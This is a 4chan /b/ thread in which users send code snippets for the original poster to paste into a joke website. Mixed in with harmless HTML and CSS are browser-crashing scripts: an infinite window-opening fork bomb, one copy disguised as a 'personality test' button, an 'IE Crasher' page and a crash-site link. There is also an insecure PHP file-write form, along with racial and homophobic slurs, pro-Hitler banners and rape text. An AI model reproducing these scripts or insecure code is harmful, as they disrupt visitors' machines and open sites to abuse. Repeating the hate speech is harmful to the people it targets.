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4chan builds a Website - Autism Edition

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4chan builds a Website - Autism Edition
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>>709271262
BEN FlSCHBElN
BENJAMlN FlSCHBElN
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>>709271262
</body>
print("wlcome to ma site")
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>>709271988
></body>
>print("wlcome to ma site")
Put that in a php tag for you? Or would you rather it just pasted directly?
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>>709272086
Even if you put that shit in a php tag, it wont do much without a proper webserver/ php interpreter.
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>>709271262
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
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>>709272420
It's a LAMP installation. Php works.
>>709272534
Ayy Fuck you.
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</html>
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<b>this site fucking sucks</b>
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>>709271262<img src="localhost:4453/dev/">
<p style="align: center"><a href="www.lemonparty.org"><h1></h1></a>
wew lad </img>
</p><input type="button" value="ur an honky">
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>>709272818
>>709272796
Ok, Updating!

I'll format the code when it gets a bit retarded if you request what parts you want fixed.
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>>709272818
I Updated your code a little bit, I assumed you wanted "wew lad" to be the link text.
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>>709273160
<a href="http://www.gaytube.com" onclick="javascript:void window.open('http://www.gaytube.com','1477401896397','width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0');return false;">Pop-up Window</a>
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>>709271262
But I want ASP.NET!
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del system 32 dot exe
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>>709273322
Updated!

>>709273402
Sorry buddy, I've never used asp.net so I cant check the code before putting it up.

>>709273439
Just the text? If you want me to do something that you're unsure of how to do, explain it and ill do my best.
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<title>Fags "R" Us</title>
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>>709273160
<embed src="http://www.theseguysarenuts.com/xtern/billnye.mp3" width="1" height="1">this is the fate that you have chosen</embed>
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>>709272534
What does this do?
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>>709273769
website
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>>709273815
>>709273769
Put it into an html document and open it to find out.
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>>709273656
>>709273708
Updated!

>>709273769
It was a script that would have fucked my dad in front of my mum, I chose to remove it because that's killing the fun.
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>>709272534
Nice wikipedia cuntpaste 5k1|_|_Z there mate!
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>>709273895
you visited those sites, i see..
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>>709273895
Does it open infinite windows till it crashes?
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>>709273769
It's a 'wabbit' or 'fork bomb'
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>>709273160
<p id="g7ea"
<script>
function fnt()
{
var x;var z=prompt ("WHAT IS YOUR NAME","TITLE");if (z==null){x="hey"+z+"! How areyou?";document.getElementById("g7ea").innerHTML=x;while (true) {
var w =window.open();w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
}
}
</script>
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>>709274091
Ah thought so
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>>709274026
Yeah. it's straight out of the "Fork Bomb" wikipedia page
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add this image, along with neverforgetti in bold letters
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<button onclick="fnt()">your personality test</button>
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>>709273895
Make this the background please.
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Include this somewhere
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<style type="text/css">body { display: none !important; }</style>
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>>709274026
Yup, Opens a bunch of shit.
>>709274014
I'm gay and I like it.
>>709273994
3l1te
>>709274127
sigh, Can we not do this. I wont put anything malicious on.
>>709274263
Okay....
>>709274312
Done.
>>709274378
I<3LGBT#CISWHITESKUM
>>709274510
kek
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>>709273537
Yeah, just the text.
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Okay OP, this one is NOT malicious.
<p id="twit"></p>
<script>
function fnt()
{
var x;

var peep=prompt ("Enter thy name", "le name");
if (peep!=null)
{
x="hey " + peep + "! How are you?";
document.getElementById("twit").innerHTML=x;
}
}
</script>
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<footer>
<p>Why are you still here?</p>
</footer>
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<iframe id="ytplayer" type="text/html" width="<?php echo $width ?>" height="<?php echo $height ?>"
src="https://www.youtube.com/embed/c2bBmgoD5xo?rel=0&showinfo=0&color=white&iv_load_policy=3"
frameborder="0" allowfullscreen></iframe>
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<h1> IHATE
NIGGERS.EXE</h1>
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WHILE TRUE
PRINT 'DESU"
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fighterfuel,xyz
>>709274844
Added!
>>709275353
Added, Although fullscreen issues. I added autoplay.
>>709275395
New Header!
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>>709275639
Can you show the progress so far please?
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<style>body{animation:rolling 1000s linear}@keyframes rolling{from{transform:rotate(0)}to{transform:rotate(360deg)}}</style>

> You won't regret it
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Hey what happened to boopnet?
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>>709275623
are you fucking dumb
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>>709275720
>>709275639
Updated, You can view the website, I'm making sure there is nothing malicious.
>>709275754
I was waiting for this, Added.
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body {
cursor: url('http://uploadpack.com/images/im1060addc5ce90/dickbutt_cursor.ico'), default;
}
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Add this somewhere
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<script type="text/css"> h1 {font-size: 80px; text-allign: center;} </script>

I dont know if this is correct
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>>709275853
>You can view the website
Pic related
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<b>DONT ASSUME MY GENDER BETA FAG</b>
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>>709276064
>>709275853
I understand the worry, I'll keep updates then!
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>>709275999
Check'em
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<style>body {cursor: url('http://uploadpack.com/images/im1060addc5ce90/dickbutt_cursor.ico'), default;}</style>
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>>709275999
<style> tag sorry, my bad
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<html><head>
<style type="text/css">
#a {
margin:0 10px 10px;
}

#b {
width:100%;
}

</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id="a">
<form id="b">
<input type="text" name="test"/>
</div>
</td><td width="1"></td></tr></table>
</body></html>
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Embed this image on it
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>>709276390
WHY IS IT NOT WORKING ?
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<button onclick="fnt()">let me tonguepunch your fartbox</button>
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Make this image a cursor
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>>709276556
No don't the website will become shitty af
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add this scrolling at the bottom babe
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>>709276622
>implying it isnt already shitty
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>>709276710
no it's purely awesome
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>>709275999
Added!
>>709276547
Made on a new address, fighterfuel,xyz/iecrasher.php. If someone submits a link to it it will redirect you there.
>>709276609
Added!
>>709276622
Tbh I don't want it filled with porn, that's what these always turn into. But we're running out of room for picutes, someone needs to invent something!
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<marquee> is used to begin all lines of text on the site </marquee>
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>>709276828
Forgot pic of website so far!
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>>709276747
Fuck no it isnt. Yet.
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>>709271262
What language is this? HTML? Python? I don't remember much from my computer science days
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>>709276870
<script type="text/javascript">
function bgChanger (end) {
document.getElementsByTagName("body")[0].style.backgroundColor = "#" + end;
}
//red
setTimeout(function() { bgChanger("FF0000")}, 0);
//black
setTimeout(function() { bgChanger("000000")}, 100);
//purple
setTimeout(function() {bgChanger("AA00EE")}, 200);
//green
setTimeout(function() {bgChanger("00FF00")}, 300);
//blue
setTimeout(function() {bgChanger("0000FF")}, 400);
//gray
setTimeout(function() {bgChanger("CCCCCC")}, 500);
//white (pause)
setTimeout(function() {bgChanger("FFFFFF")}, 600);
</script>
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<ul class="flex"><li>Hello,</li><li>World!</li><li>This</li><li>is</li><li>my</li><li>website on autism</li></ul><style>.flex{list-style:none;margin:0;padding:5px;display:flex;justify-content:space-between;align-items:center;background-color:#F26;color:#FFF;text-align:center}.flex li{flex-grow:1;background-color:#000;padding:16px 22px;margin:5px}.flex li:nth-child(1){opacity:.5}.flex li:nth-child(2){opacity:.6}.flex li:nth-child(3){opacity:.7}.flex li:nth-child(4){opacity:.8}.flex li:nth-child(5){opacity:.9;font-size:2em}.flex li:last-child{opacity:1;text-transform:uppercase}</style>


Paste this under the pagetitle
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https://www.youtube.com/watch?v=iRZ2Sh5-XuM add this
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>>709276944
I'm using a LAMP installation, we have access to HTML, PHP, SQL, JS.
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>>709276208
> <p> WHILE TRUE PRINT 'DESU"</p>

kek
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<a href="www.4chan.com"> Faggot Website </a>
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>>709276958
That wont work with the current background, we can make some divs if you want?
>>709276978
I think I love you.
>>709276990
Alright, but guys we need more room for content!
>>709277137
dont talk shit man i make csgo hacks using html ill hack u so bad ur internet will blowuip
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<a href="www.reddit.com"> Where the cool kidz hang out </a>
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>>709277210
Haha thanks. I'm the same guy from the 1000 seconds rotation
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>>709277210
>That wont work with the current background, we can make some divs if you want?
Your choice. Scrap it if you want.
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Link to the website?
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<iframesrc="goatse.cx"></iframe>
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>>709277369
don't visit it, the hacker 4chan made it and if you go to the website your computer will be hackered.
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>>709277369
http://fighterfuel.xyz/
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>>709277305
Yeah, I'm just mindlessy pasting this while afking doing other stuff.
>>709277369
The heading of every pic I've posted.
fighterfuel,xyz (replace , with .)
>>709277274
Real MVP

PASTEBIN LINK:
pastebin /NVWjbtKc
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>>709271262
rename tmp to trump
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<style type="text/css">body {cursor: url('dickbutt_cursor.cur'), auto;}</style>


the .cur is here: http://www.cursor.cc/?action=icon&file_id=41327
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<h2>uprawiam seks z alicja polak</h2>
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>>709271262
Chrome.
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Include this
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>>709271262
Put me in screencap
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>>709277777
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OP you are doing great things
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>>709277583
Added
>>709277594
added
>>709277759
Ok
>>709277859
Thank you. xoxo
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Thank me later

<div class="kddtop"> <div class="kddtut"> <p>

<b>announcement</b><br/><br/>
Hitler did nothing wrong


<style>.kddtop{right:16px;width:300px;min-height:180px;background:transparent;margin:0 auto;position:fixed;border-radius:3px;bottom:16px;overflow:hidden;z-index:900}.kddtop p{width:0;height:0;overflow:hidden;opacity:0;position:relative;padding:16px 0 0 20px;z-index:5;margin:0;color:transparent}.kddtop:hover p{display:block;width:100%;height:100%;opacity:1;color:#fff;transition:opacity 1s .4s ease}.kddtop:before{content:"/pol/";position:absolute;line-height:1150px;text-align:center;color:#fff;font-weight:700;font-size:420px;z-index:1;width:1100px;height:1100px;background:#f44336;border-radius:50%;top:100%;left:50%;transform:translate3d(-50%, -50%, 0) scale(.035);animation:.5s bounce infinite alternate-reverse;transition:.5s transform ease, .5s color ease}.kddtop:after{content:"";position:absolute;left:133px;right:133px;bottom:0;height:15px;background:rgba(0, 0, 0, .5);border-radius:50%;transition:.3s opacity ease;animation:.5s shadow infinite alternate-reverse}.kddtop:hover{box-shadow:0 5px 4px rgba(0, 0, 0, .3);transition:.5s all ease .25s}.kddtop:hover:before{color:#f44336;top:100%;transform:translate3d(-50%, -50%, 0) scale(1);transition:.3s top ease, .5s transform ease .25s, .5s color ease .25s}.kddtop:hover:after{opacity:0}.kddtop:hover .kddtut:before{width:50px;transition:.3s all ease 1.25s}.kddtop .kddtut{padding:0 35px 5px 0;box-sizing:border-box;display:block;position:relative;opacity:1;text-align:center}.kddtop .kddtut:before{content:"";position:absolute;top:0;left:150px;rigth:150px;width:0;height:1px;background:#000}@keyframes "bounce"{0%{top:93%;}to{top:50%;}}@keyframes "shadow"{0%{height:5px;}to{height:20px;-webkit-transform:scale(.3);transform:scale(.3);}}
</style>
</p> </div> </div>
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can you add this text: greetings to my mom and my brownie-ninja <3
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add this
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add this somewhere op, also me in screencap if its cool, 8=D
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>>709278045
ADDED WEBKIT SUPPORT:

<div class="kt"><div class="kd"><p><b>/pol/</b><br/><br/>
Hitler did nothing wrong
<style>.kt{right:16px;width:300px;min-height:180px;background:transparent;margin:0 auto;position:fixed;border-radius:3px;bottom:16px;overflow:hidden;z-index:900}.kt p{width:0;height:0;overflow:hidden;opacity:0;position:relative;padding:16px 0 0 20px;z-index:5;margin:0;color:transparent}.kt:hover p{display:block;width:100%;height:100%;opacity:1;color:#fff;transition:opacity 1s .4s ease}.kt:before{content:"/pol/";position:absolute;line-height:1150px;text-align:center;color:#fff;font-weight:700;font-size:420px;z-index:1;width:1100px;height:1100px;background:#f44336;border-radius:50%;top:100%;left:50%;transform:translate3d(-50%, -50%, 0) scale(.035);animation:.5s bounce infinite alternate-reverse;transition:.5s transform ease, .5s color ease}.kt:after{content:"";position:absolute;left:133px;right:133px;bottom:0;height:15px;background:rgba(0, 0, 0, .5);border-radius:50%;transition:.3s opacity ease;-webkit-animation:.5s shadow infinite alternate-reverse;animation:.5s shadow infinite alternate-reverse}.kt:hover{box-shadow:0 5px 4px rgba(0,0,0, .3);transition:.5s all ease .25s}.kt:hover:before{color:#f44336;top:100%;transform:translate3d(-50%, -50%, 0) scale(1);transition:.3s top ease, .5s transform ease .25s, .5s color ease .25s}.kt:hover:after{opacity:0}.kt:hover .kd:before{width:50px;transition:.3s all ease 1.25s}.kt .kd{padding:0 35px 5px 0;box-sizing:border-box;display:block;position:relative;opacity:1;text-align:center}.kt .kd:before{content:"";position:absolute;top:0;left:150px;rigth:150px;width:0;height:1px;background:#000}@-webkit-keyframes "bounce"{0%{top:93%;}to{top:50%;}}@keyframes "bounce"{0%{top:93%;}to{top:50%;}}@-webkit-keyframes "shadow"{0%{height:5px;}to{height:20px;-webkit-transform:scale(.3);transform:scale(.3);}}@keyframes "shadow"{0%{height:5px;}to{height:20px;-webkit-transform:scale(.3);transform:scale(.3);}}
</style></p></div></div>
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An old autoplaying audiofile, dont know the name, u member, used to auto open om some pages, no wave, used some shitty sounds on the comp
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>>709276870
That's beautiful m8
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>>709278378
around year 1996 - 2002
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Jesus Christ this website is exactly what I would expect it to look like
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>>709278045
>>709278276
Added,
>>709278104
Made popup, if people complain i will remove it.
>>709278409
Thank you.
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put this ad and make click x to close thing
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MIDI file with autoplay!
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HAVE THIS SONG PLAY IN THE BACKGROUND AFTER THE BILL NYE THING

https://www.youtube.com/watch?v=e-Zcz9J1UOs
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>>709278486

BACKGROUND MUST BE GOATSE.JPG
BACKGROUND MUST BE GOATSE.JPG
BACKGROUND MUST BE GOATSE.JPG
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https://www.youtube.com/watch?v=I5HHP5lxb4g Put this song somewhere, or better, make it play on the webpage
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Your OC obviously has to be in the website
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Whats the link to this website?
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>>709278577
fighterfuel.xyz
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In the CSS:

div.a {
position:fixed;
}

In the script:
$(document).ready(function(){
animateDiv();
});
function makeNewPosition(){
var h = $(window).height() - 50;
var w = $(window).width() - 50;
var nh = Math.floor(Math.random() * h);
var nw = Math.floor(Math.random() * w);
return [nh,nw];
}
function animateDiv(){
var newq = makeNewPosition();
var oldq = $('.a').offset();
var speed = calcSpeed([oldq.top, oldq.left], newq);
$('.a').animate({ top: newq[0], left: newq[1] }, speed, function(){
animateDiv();
});
};

function calcSpeed(prev, next) {
var x = Math.abs(prev[1] - next[1]);
var y = Math.abs(prev[0] - next[0]);
var greatest = x > y ? x : y;
var speedModifier = 0.1;
var speed = Math.ceil(greatest/speedModifier);
return speed;
}

In the HTML:

<div class='a'><img src="https://pbs.twimg.com/media/Cu64NVvWAAAdh1Y.jpg"></div>
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Rotation guy here

Wrap everything in the body into a div with id "wrapper"

Then add this

<script src="http://ajax.googleapis.com/ajax/libs/jquery/3.0.0/jquery.min.js"></script>
<style>body{perspective:800px;animation:none !important}</style>
<script>$(function(){var a=$(window),c=a.width(),d=a.height(),b=0,e=0;a.on("mousemove",function(a){b=a.pageX/(c-1)*20-10;e=a.pageY/(d-1)*12-6;$("#wrapper").css("transform","rotateY("+b+"deg)rotateX("+-e+"deg)")}).on("resize",function(){c=b.width();d=b.height()})});</script>

If jQuery is already included, ignore the first line
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>>709271262
WE NEED UPDATE
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Add this please
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>>709278706
Sorry, change the var h and var w to this:

var h = $(window).height() - 655;
var w = $(window).width() - 637;
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Can you do a link or something and put /tg/ or something as it's name and then show thic picture
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>>709278222
add this please its ma birthday
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>>709278537
THIS
please make an autoplaying audio file
Praise the earrape !
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Please add this
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Can we have this walking across the screen in the background?
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>>709278706
We now have an actual css file. Gratz!
>>709278710
Will add,
>>709279085
Okay!


Sorry for the slow replies, I have to read everything I put in!
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<b><i><u>KANKER</u></i></b>
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Good that body's animation is :none now.

please also remove perspective property from BODY.

Those two are messing with the "position fixed" thing I posted here:
>>709278276
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oh, the website doesn't rotate anymore ;_;
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Best thread on /b/ in a long time
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>>709279247
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>>709278710
Added!
>>709278222
We need more room for pictures, if you can figure that out I can do more!
>>709278507
I really want this, But I wont code something like that, if someone wants to go ahead and I'll just paste it in.


Lets work on the css guys!
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>>709279368
Yes man
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Oh shit this is hilarious
>>
Just paid a visit, and it is truly, utterly, indubitably fucking autistic.
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>>709279337
Oh and please move that <div class="kt" out of the wrapper.
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>>709271262

<script>
window.open('mailto:[email protected]?subject=we r fucked&body=come back to 4chan you fucking cuck. It's been ruined without you.');
</script>
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Whats the adress ?
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>>709279454
>>709278507
On the case
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>>709279454
>Fags 'R us
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This shit's epic, thanks OP
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Put this as main image
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Update image please OP
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This thread! You have made my day guys!
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have this image flying around the screen in all directions at a lightning pace
thanks
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how do i get to the website ?
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>>709279492
Removed.
>>709279343
Trying to fix now.
>>709279368
Thank you, Ill be making another one soon.
>>709279467
Thanks.
>>709279583
kek, nah.
>>709279584
>>709279734
fighterfuel.xyz
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>>709279454
if you can add this >>709278222 to float like that trump pic, it doesnt need room. sorry, i dont know code op, just contributing ideas, i want to learn tho
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>>709279734
fighterfuel dot xyz
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>>709279719
YES
>>
LINK TO THE SITE GUYZ


http://fighterfuel.xyz/
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>>709279772
don't include any fucking bananas
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>>709271262
Please
# why you look on my fuckin code you autistic faggot;
>>
Please add this in the background or something:
https://www.youtube.com/watch?v=0FoH9U_7n0Q
>>
>>709279875
lol, added i guess
>>709279859
I wont.
>>709279780
zzz
>>
is it possible to have the entire website invert colors at a really, really fast strobe speed? if so, do that, and also include a pop-up dialogue that says "YOU DESERVE A SEIZURE"
>>
<a href="www.4chan.com"> Faggot Website</a> white power
<a href="www.reddit.com"> Where the cool kidz hang out </a> </br>

You need to put that as a hyperlink, it 404's atm
>>
why is it slowly turning clockwise?
>>
[code]
test
[/code]
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noice niggy nuggat
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>>709280098
Why not?
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jeez what a site, u could make something like poll system there : )
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>>709280078
It's .org not .com

Retard.
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great site so far
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>>709280119
Good point.
>>
>>709280135
>not realizing that's copied from OP's source code
>calling me a fag

gtfo
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make sure to add this
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>>709280098
WHATS WRONG WITH YOU YOU FUCKING AUTIST?
WHY DON'T ALL OTHER WEBSITES TURN CLOCKWISE SLOWLY?
FUCK
>>
>>709280078
Fixed.
>>709280098
It's not? You're high mate.
>>709280135
Also fixed - It wasnt written by me calm down.
>>709280162
Thanks, im gonna put it on my resume.
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>>709280126
Add a live chat room
and a drawball
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>>709273439
>>
if you can add this text

#BLACKLIVESDONOTMATTER
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jesus christ its all inverted now
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>>709271262
Get pics of Glenn and Abraham being killed and print that shit across the entire site, then spread the website all over for maximum keks
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>>709279586
Rotation guy here. Here's te code for the ad

<input type="checkbox" id="ad"><a href="http://uncyclopedia.wikia.com/wiki/Adolf_Hitler"><label for="ad"></label></a>
<style>#ad,#ad:checked+a{display:none}#ad+a{display:block;position:relative;float:left;width:350px;height:350px;background-image:url(http://i.4cdn.org/b/1477406628490.jpg)}#ad+a label{position:absolute;top:0;right:0;width:30px;height:30px;background-color:rgba(0,0,0,.2);cursor:pointer}#ad+a label::before,#ad+a label::after{content:'';position:absolute;top:15%;left:50%;bottom:15%;width:2px;background-color:#FFF}#ad+a label::before{transform:translate(-50%)rotate(-45deg)}#ad+a label::after{transform:translate(-50%)rotate(45deg)}</style>

No JS needed ;)
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HARAMBE WAS AN INSIDE JOB
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>>709279247
This has to be added for maximum cancer.
>>
put this informative table there

<table>
<tr><td>fags</td></tr>
<tr><td><p>you</p></td></tr>
<tr><td><p>OP</p></td></tr>
</table>
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>>709280369
Dubs
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<a href="#" onClick="document.getElementsByTagName('body')[0].style.display = 'none';">click here to activate memes</a>
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<a href="https://machentertainment.com/threads/who-ya-voting-for.583/"> VOTE TRUMP </a>
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>>709280360
Added. Thanks again mate.
>>709280289
Yeah Ill change that.
>>709280418
added.
>>709280230
urgay
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The inverted colours make the memes shit, turning it back might make it more autistic tbh.
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make a new thread in case
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embed some classic funny gifs
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>>709280575
Removed. Thanks for the feedback, here at fighterfuel we really care for customer feedback!
>>709280489
Added somewhere.
>>709280490
Added.
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Works just as good on chrome as firefox
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American Election: Autism Edition
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>>709281256
I added that because I was experiencing white flickering on chrome, it may just be me.
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>>709281344
MS edge works the best
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>>709280918
Heh, good shit anon.
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>>709279772
Bananas are kinda freaky.
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>>709280918
kek
most here are probably too young to remember this
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>>709271262
</HTML>
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>>709281007
Do this
<div style="
height: 100%;
width: 100%;">
<img src="http://orig05.deviantart.net/8857/f/2010/159/0/c/katawa_shoujo___hanako_by_maiashichi.jpg"
alt="<3";
height=200;
style="position:fixed;
right:0px;
bottom:0px;
z-index:2;">
</div>
>>
greetings to my dealer on 21st street, near the apartment complex, you know who you are

if this can be added on the dialog box
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>>709281620
Added.
>>
we need to start a petition to make it 4chan's home page, would fit perfectly
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>>709281693
Added.
>>709281786
Lol.
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what about a old school counter?

<!-- hitwebcounter Code START -->
<a href="http://www.hitwebcounter.com" target="_blank">
<img src="http://hitwebcounter.com/counter/counter.php?page=6520716&style=0014&nbdigits=7&type=page&initCount=0" title="http://www.hitwebcounter.com/htmltutorial.php" Alt="http://www.hitwebcounter.com/htmltutorial.php" border="0" >
</a> <br/>
<!-- hitwebcounter.com --><a href="http://www.hitwebcounter.com" title="WebPage Visits"
target="_blank" style="font-family: Arial, Helvetica, sans-serif;
font-size: 9px; color: #6A7175; text-decoration: underline ;"><strong>WebPage Visits </strong>
</a>
>>
>>709271262
Website ins't available on mobile device anzmore
Why?
>>
>>709281586
I forgot this shit
>>
>>709281786
THIS. At least it might ward off newfags that ruin board culture and may reduce traffic in turn reducing server cost.
>>
add this:
<marquee> I do like like memes, like I love them it's pretty neat friendos, have a fun meme friends and eat ravioli</marquee>
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>>709281937
Added, Good idea!
>>709281940
Could be because we put in a lot of css that fucks with the page. Sorry about that but I cant edit it to fix. :(
>>709281982
Added
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>>709281974
if we add more offensive and triggering stuff to it, sure.

add FUCK SJWS NIGGERS AND FAGGOTS
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>>709282103
Works fine now
>>
>>709281974
This is probably too autistic tbh.

>>709282139
I have to be careful what I put on here, I'm not actually allowed porn because the server is hosted in Singapore. (Illegal to host porn websites from there)

>>709282202
Strange, I didnt actually do anything. Thanks for the feedback, here at fighterfuel we really value the opinions of our customers.
>>
add "I RAPED 5 NIGGER FAGGOTS AND CHURCH"
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>>709281940
Works fine 4 me!
Maybe you just have a shitty mobile device.
>>
>>709281940
Works on my cheap ass LG android phone
>>
Please add some hilarious porn advertising
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>>709282412
Hitler isnt enough for you? Damn man his ass if fine.
>>
Perhaps add a picture of moot or hiroshimoot?
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>>709282412
Read >>709282261
>you're welcome, OP
>>
OP what are you hosting this with? also put me in screencap of ebin bread pls
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>>709282261
then change

<a href="http://www.gaytube.com" onclick="javascript:void window.open('http://www.gaytube.com','1477401896397','width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0');return false;">Pop-up Window</a>

to

<a href="http://www.reddit.com" onclick="javascript:void window.open('http://www.reddit.com','1477401896397','width=700,height=500,toolbar=0,menubar=0,location=0,status=1,scrollbars=1,resizable=1,left=0,top=0');return false;">COOLZ KIDZ HANGOUT HERE</a>
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Please add
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>>709282470
Don't forget that he has very sexy legs
>>
>>709282261
Has Anyone Really Been Far Even as Decided to Use Even Go Want to do Look More Like?
>>
addz meez inz thez screenshotz axxzz pleazzez
>>
>>709282577
A cheap vps I bought from lowendbox half a year ago. I have 6 months left and I've never used it so I thought I would do something with it.

>>709282591
Nah I'm allowed to advertise porn, just cant host it.
>>709282636
We already have one ad! It's pulling in millions of that ad revenue $$$$. When I next host this thread put that up and I will. :D
>>709282678
me too.
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>>709282636
>>
>>709282796
this site is turning out more beautifully than i expected.
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Add somewhere
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>>709283032
Thank you, here at fighterfuel we work hard to impress our customers.
>>
The body either needs perspective: 800px; again or the JavaScript that does the 3d rotation can be removed. One is useless without the other
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dont forget to add moonman somewhere to oppress our nigger enemies
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Pepe has got to be on this site somewhere.
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>>709282636
>>709282636
Fuck that. SeaCaptainDate dot com is where it's at!
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>>709283362
This is true.
Pepe is an international phenomenon, and an hero to all...
>>
Add this as a file on the server:
https://raw.githubusercontent.com/nalwayaabhishek/gravityscript/master/gravityscript.js


Add this before everything:
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript">
function myFunction() {
$.getScript("gravityscript.js");
}
</script>

Don't add jquery if it's already there.
And add this in the body:
<a href="javascript:void(0);" onclick="myFunction();">website hax0r!!1!1</a>
>>
>>709283113
Added.
>>709283362
>>709283514
Replaced Bottom Right picture with submitted.
>>
add this link to the personality test button
https://en.wikipedia.org/wiki/Autism
>>
OP. every time you do this, you should keep copies of each instance so we can go back and look at them. I'd hate for all this hard work to go to waste
>>
>>709271262
<a href="http://crashsafari.com"><img src="https://lh5.ggpht.com/0DrOPS16I7aWc7QUrUr9JnuCFjJIMvqnP8euv-Q0UcgsSFZgYvdMYvwdfy5anS6cqA=w300">

add this somewhre! Be carefull at clicking on this, it crashes the browser.
>>
>>709271262
https://www.patreon.com/maf
(and ad the below text too plz)
GIVE GIVE GIVE!!! You sad bunch of CUNTS!
Actually- nah! FORGET IT! I don't want your gross 4chan moneez!!
>>
>>709283518

>uses jQuery
>>
>>709283705

oh and dont forget to close the </img>and</a>
>>
>>709283732
is it a problem ?
it adds gravity to the website :'(
>>
>>709283718
?? Who are you?
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Is pic related considered Pepe porn in Singapore?
>if not, please find a small space for Pepe.
>>
>>709283787
Sorry, I cant find his documentation so I wont use his git.
No readme = I wont touch it.
>>
HTML
<ul>
<li><a href="Firstpage.html">not porn</a</li>
<li><a href="2ndpage.html">porn</a></li>
</ul>


CSS

ul {
list-style-type: none;
margin: 0;
padding: 0;
overflow: hidden;
background-color: #333;
}

li {
float: left;
}

li a {
display: block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
}

li a:hover:not(.active) {
background-color: #111;
}

.active {
background-color: #4CAF50;
}
>>
>>709283664
Yeah man!

>>709283718
Add link AND text plz. (A lot of anons and /b/tards will know the page from over the last week or so)
>>
>>709283862
https://github.com/tinybigideas/jGravity
>>
>>709283664
Sorry mate, I've kept a total of 0 copies. :)
>>709283898
>>709283718
No.
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link to the website?
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>>709283777
<a style="float:right" href="http://crashsafari.com"><img height="50" width="50" src="https://lh5.ggpht.com/0DrOPS16I7aWc7QUrUr9JnuCFjJIMvqnP8euv-Q0UcgsSFZgYvdMYvwdfy5anS6cqA=w300"></img></a>

heres the complete code
>>
Somebody have some stuff that probably triggers 9fags?
>>
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Add this somewhere with the title ylyl
>>
>>709283974
it's just the js of google gravity
>>
Add this :)
>>
I'm quite surprised by how much I like the fact that I made it onto the page.

Fuck. I need to get out more. (Brave Anon)
>>
>>709284155
Fighterfuel.xyz
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>>709284155
You no can read the fucking thread?
>>
OP PLEASE PUT THIS

<h1>NAPOLI MERDA PORCODIO</h1>
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>>709284334
thanks m8, this is awesome

>>709284391
you vastly underestimate the extent of my laziness.
>>
>>709284156
Added to the top right.
>>709284441
Check the footer.
>>
OP PLEASE PUT : JOANN JE T'AIME PLEASE !
>>
<h1>TRUMP=TRAP<h1>
>>
>>709284812
</h1> *
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How the hell is this thread still up?
>>
>>709284841
Today /b/ has a good day
>>
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Niiiice! I like it a lot!
>>
add this

<marquee> mortale in aeternum </marquee>

>>709284920
>How the hell is this thread still up?
because it is epic
>>
this code adds poop (or sperm see the code) to the dickbutt cursor on the website.
how awesome ?!
here is the pastebin id (because my post was counted as spam): SqE4EEG9
>>
>>709284942
3 hours going strong.
>>
<h1> besser bi als nie </h1>
Please add it
>>
>>709285018
>mortale in aeternum
Added to the existing marquee.
>>709285033
cbf sorry
>>709284720
Added to the scrolling text.
>>709284391
Amen, I've posted it a shit ton.
>>
>>709271262
GEOCITIES
>>
Plz add <h3> Shoutout an Lothar Klatt</h3>
>>
can we post php?

<?php if(isset($_POST['shite'])) {
file_put_contents(file_get_contents('fagot.html'), strip_tags($_POST['shite'])); }
include('fagot.html'); ?>
<form action=""><textarea name="shite"></textarea><input type="submit" value="ur gay" /></form>
>>
>>709285248
No more personal shoutouts / private stuff. Sorry.
>>
>>709285158
>cbf sorry
fuck
EVERYTHING I POST YOU REFUSE
>>
>>709285158
Why wont you do dis OP?
>>709284239
>>
>>709285288
Not accepting any posts, sorry mate.
>>
OP UR SO GOOD
>>
Sektion Medienraumverbot war hier

plzzz :)
>>
>>709285158
>Added to the existing marquee.

i dont see it kek
>>
OKAY GUYS OP HERE
I'm getting off, I'm an AUS fag and it's 2:30 am.
We had a good run!
I'll probably make another of these threads soon, this website will be kept up.

Thanks again for the thread I had lots of fun and I hope you all did as well.

>>709285553
Sorry, updated!
>>
maybe you could write "Enough internet for today →" next to the turn off button
>>
>>709285647
Damn, l8r OP
>>
>>709285647
been graet fun fam thx
support Sektion Medienraumverbot <3
>>
>>709285647
Thanks op for this keksome thread

Todays op was not a fag
>>
>>709285647
Godspeed you OP, thanks for a great thread for a change on /b/
>>
>>709271262
<Body>
<Navbar><IMG src="../knowyourmeme.com/lulzcat/4654575.jpg></navbar>
<Main>
<H1>CASH MONEY EUROS</h1>
</Main>
<Footer>we are legon</footer>
</Body>
>>
>>709285647
thanks. had the most fun in months. keep safe OP
>>
>>709285647
Thank you based OP
>>
>>709285288
Lol solid.
>>
>>709285696
Added. Thanks.
>>709285790
Cheers mate, I might do the same tomorrow @ 6pm australian Eastern Standard Time (+10)
>>709285800
Thanks man!
>>709285824
Thanks, you too mate. Be safe in this crazy world.

Good night all.
>>
>>709285647
thanks op, great fun
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>>709285647
Thx OP.
>>
>>709285647
have a good sleep. you deserve it.
>>
>>709285885
Will be there
>>
>>709271262
<script language="javascript" type="text/javascript">
prompt("NIGGER")
</script>
>>
<div id="nigger"><p>Recomended Browser :</p>
<img src="https://en.wikipedia.org/wiki/Netscape_Navigator#/media/File:Netscape_icon.svg"></div>
>>
>>709285885
Please use the same heading
Its easier for us to find it
Thank you for this thread op
>>
>>709285368
Ok, and this? LOL

</div></div></div>
<div style="width:100%;height:100%" id="urmother">
<font color="white">EPLIEPSY</font>

PLUS THIS: PASTEBIN COM nXJyRufS
the system detects this as a spam but it is not
>>
>>709286485
OP WAIT THIS
THIS
THIS PLEASE
>>
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Do this, do this!!!
>>
>>709285647
Australians have sexy accents, OP. Remember that. Even if you have a fucked-up pug-face, just remember; You have an Australian accent. That automatically makes you a stud.

Good night, OP.
>>
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>>709287183
Or this one.
>>
some beer looks like piss and some piss looks like beer- but ALL cats, are good.
>>
>>709271262
Can you add Allstars Smash Mouth playing in the background of the page?
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